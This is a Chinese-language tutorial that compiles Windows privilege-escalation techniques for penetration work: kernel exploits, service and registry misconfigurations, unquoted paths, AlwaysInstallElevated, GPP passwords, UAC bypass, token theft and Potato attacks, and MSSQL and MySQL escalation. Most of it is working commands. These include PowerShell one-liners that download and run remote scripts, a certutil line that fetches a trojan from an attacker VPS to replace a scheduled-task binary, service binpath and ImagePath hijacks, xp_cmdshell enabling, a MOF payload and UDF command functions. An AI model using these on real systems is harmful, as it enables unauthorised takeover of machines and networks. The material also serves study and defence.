史上最全windows提权手法总结,这都不看?
windows提权看这一篇就够了
简介
windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限),所以这里做了一次window提权总结,建议收藏,反复看,熟能生巧!
提权从目的可分为纵向提权与横向提权:
Windows常用的提权方法有:
系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权,第三方软件/服务提权,WEB中间件漏洞提权等。
提权思维导图:
提权思路:
1.系统内核溢出漏洞提权
简介:此提权方法是利用系统本身存在的一些系统内核溢出漏洞,但未曾打相应的补丁,攻击者通过对比systeminfo信息中的补丁信息来查找缺失的补丁号,通过缺失补丁号对照相应的系统版本查找对应可以提权提升的exp
注意,只要对应的补丁号加上对应的系统的版本的提权exp才可以成功,有时候如果查找到提权exp提权不成功,那么就可以查看是不是系统版本没对应上,且不排除一些提权漏洞利用需要相应的环境。
查找补丁的手法:
#手工查找补丁情况systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
?
#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
?
#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
?
#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns
?
#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute
?
..........
?
查找到缺失的补丁后,对照相应的系统版本,查找对应的exp
https://github.com/SecWiki/windows-kernel-exploitshttps://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
...........
2.系统配置错误提权
2.1 错误权限配置
简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻)
系统服务权限配置错误利用有如下两种方式: 服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)
查找错误配置的手法:
#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
?
?
#msf 对应的模块为exploit/windows/local/service_permissions 但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system
?
?
#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
例如:icacls “C:\Program Files”
icacls “C:\Program Files\Common Files”
?
#查看指定目录的权限配置情况
accesschk.exe -dqv "D: est" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。
?
#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名 ? #查看可以完全控制的服务的属性。
?
利用方式:
#把服务启动的行为(exe或者脚本,com组件..)替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreterset AutoRunScript migrate -f#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
为什么要自动迁移?
这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信,如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程,我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程。
?
#run exploit/windows/local/service_permissions
run exploit/windows/local/service_permissions
?
#找到我们具有完全控制权限的服务,修改服务配置执行命令
sc config 服务名 binpath="木马程序.exe" ? #INARY_PATH_NAME参数指向了该服务的可执行程序
sc stop 服务名
sc start 服务名
?
这里可以用木马程序可以用exe,任意脚本,dll文件等等,具体情况具体分析
这里我把计划任务目录可写也放在这里,因为计划任务也算系统服务功能。
简介:windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的时间执行程序或脚本(在大多数情况下,计划任务是以高权限执行的),如果地权限用户对计划任务所在目录有读写权限,完全可以替换计划任务所执行的脚本或程序,获得高权限(但需要错误配置,让此目录下其他用户可写)。
官方说明文档:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446802(v=vs.85).aspx
查找错误配置的手法:
#schtask 查询schtasks /query /fo LIST 2>nul
?
#powershell
Get-ScheduledTask
利用手法:
#进行筛选 删除包含/Microsoft/Windows/路径的所有任务Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
?
#分析计划任务 查找行为,比如exe,脚本什么的
$task=Get-ScheduledTask -TaskName 计划任务名
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
?
#查找计划任务行为所在目录,低权限用户是否具有可写权限 accesschk.exe 当然也可以用icacls命令
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\1111.exe
?
#直接替换
certutil -urlcache -split -f "http://你的vps/1111.exe" C:\ScheduledTasks\Task1\1111.exe
?
#等待计划任务执行
2.2可信任服务路径漏洞
简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行(大多数情况下)。
查找错误配置的手法:
#wmi查找含有漏洞的服务命令wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
?
#PowerUp脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
?
##查看指定目录的权限配置情况
accesschk.exe -dqv "D: est" -accepteula
?
漏洞利用手法:
#msf攻击模块exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f
?
#手动攻击
我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下
然后重启服务
sc stop service_name
sc start service_name
2.3不安全的注册表权限配置
简介:在Windows中,和Windows服务有关的信息存储在注册表项中,服务对应的程序路径存储在,如果低权限用户对这个键值有写权限,那么就可以控制这个服务,运行我们的程序,拿到高权限。
检测服务的注册表路径是否有写权限
#微软的工具https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display
利用:
#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
2.4启用注册表键AlwaysInstallElevated
简介:注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。
查看是否启用:
#PowerUppowershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
?
#当然也可以查看注册表键值是否被定义
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
利用方式:
#利用方法,启用AlwaysInstallElevated后,可以通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行msiexec /quiet /qn /i muma.msi
?
#msf ? 需要一个会话
run exploit/windows/local/always_install_elevated
3.组策略首选项提权
简介:Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
SYSVOL:
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\组策略偏好GPP
win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。
利用手法:
#Powershell获取cpasswordGet-GPPPassword.ps1
#PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
kali gpp-decrypt命令破解密码
?
#Msf
run post/windows/gather/credentials/gpp
?
#Empire
usemodule privesc/gpp
4. bypassUAC提权
简介:bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。
UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
一些没有管理员权限无法完成的操作:
注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
加载设备驱动程序
DLL注入
修改系统时间(时钟)
修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
修改受保护的目录(例如Windows文件夹,Program Files)
计划任务(例如,以管理员权限自动启动)
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件,而是在没有用户许可下对恶意软件的未授权行为进行掌控。
利用手法
#Msfexploit/windows/local/ask ? ? ? #弹出UAC确认窗口,点击后获得system权限
?
exploit/windows/local/bypassuac ?#此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。
?
exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()
?
?
exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
?
exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
?
exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
?
#Powershell
Invoke-PsUACme
?
#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript
?
#cs
uac-dll
uac-token-duplication
....
5.令牌窃取
简介:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象 。
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。
利用方式:
#msf 拿到一个会话use incognito ? ? ? ? ? #进入incognito模块
list_tokens -u ? ? ? ? ?#列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"
......
这里也可以用其他的cs,empire上面的令牌窃取功能模块
说起令牌,让我想到了土豆(加模仿高权限令牌)!!!!这玩意真好用,真牛逼!
项目地址:
https://github.com/breenmachine/RottenPotatoNG/
RottenPotato(烂土豆)提权的原理可以简述如下:
欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。
模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
当然土豆系列都牛逼class!附上甜土豆github地址
https://github.com/CCob/SweetPotato
6.数据库提权:
在windows上经常会装这两个数据库
sqlserver数据库提权
MySQL数据库提权
所以直接针对这两个数据库进行提权。
MSSQL提权:
启用xp_cmdshell(高权限用户)
#先获取高权限的数据库用户(sysadmin)查找网站源码数据库链接文件(web.config /conn.asp/aspx config.asp /aspx dbconfig.asp/aspx)等文件,查找数据库链接信息,查找可进入数据库的用户名和密码
?
理论上,什么用户启的数据库,xp_cmdshell就执行什么权限
?
?
#爆破出用户名密码,或者收集到密码....等手段登入数据库,mssql可以外网登录
select IS_SRVROLEMEMBER('sysadmin')#查询是否为sysadmin用户,sysadmin执行命令继承了数据库的权限,前提在windows下,数据库(旧版本,新版本默认降权)默认没有被降权,默认就是system权限
如果有注入的话,sqlmap --is-dba 也能判断
?
#然后利用高权限用户执行反弹命令,脚本,木马什么的...
默认cmd的组件禁用,必须安装cmd_shell组件
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
?
exec master..xp_cmdshell "whoami" --
MYSQL提权
MOF提权
简介:MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡,因为MOF文件每五秒就会执行,且是系统权限,所以如果我们有权限替换原有的mof文件,就能获得system权限
利用条件
Windows<=2003(虽然很久远了,还是温习一下)
mysql在c:windows/system32/mof目录有写权限
已知数据库账号密码
利用手法
#mysql语句将恶意mov文件替换nullevt.mof,需先上传select load_file("hacker.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
?
mof文件样本
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace="Root\\Cimv2";
Name="filtP2";
Query="Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second=5";
QueryLanguage="WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name="consPCSV2";
ScriptingEngine="JScript";
ScriptText=
"var WSH=new ActiveXObject("WScript.Shell") WSH.run("命令")";
};
instance of __FilterToConsumerBinding
{
Consumer=$Consumer;
Filter=$EventFilter;
};
UDF提权
简介:UDF,user defined funcion,即用户自定义函数,用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll。
利用条件
windows2003、windowsXP、windows7
拥有mysql的insert和delete权限
漏洞利用:
#首先我们要判断mysql版本,根据不同的版本:mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
直接查询插件安装目录show variables like %plugin%
#上传udf.dll 将udf.dll导出到插件目录,然后执行sql语句创建用户自定义函数,并利用他执行命令提权
create function cmd_shell returns string soname 'udf.dll';#创建函数
select cmd_shell('命令');#使用函数
drop function cmd_shell; #删除函数
?
?
#也可以自动化过程,使用sqlmap自动化上传插件
python sqlmap.py -u 'xxxx' --file-write=/lib_mysqludf_sys.so ?--file-dest=/usr/lib/mysql/plugin/
python sqlmap.py -u 'xxxx' --sql-shell
?
各种CVE
CVE-2016-6663和CVE-2016-6664,CVE-2016-6663,CVE-2016-6664,CVE-2016-6663,CVE-2016-66647.其他手法
去寻找系统高权限运行的用户,服务,软件,程序,脚本.......................,通过一定手法,比如cve,进程注入,dll劫持,实在不行社工..................................
扎实的基础+奇妙的思路+敏捷的手法=system权限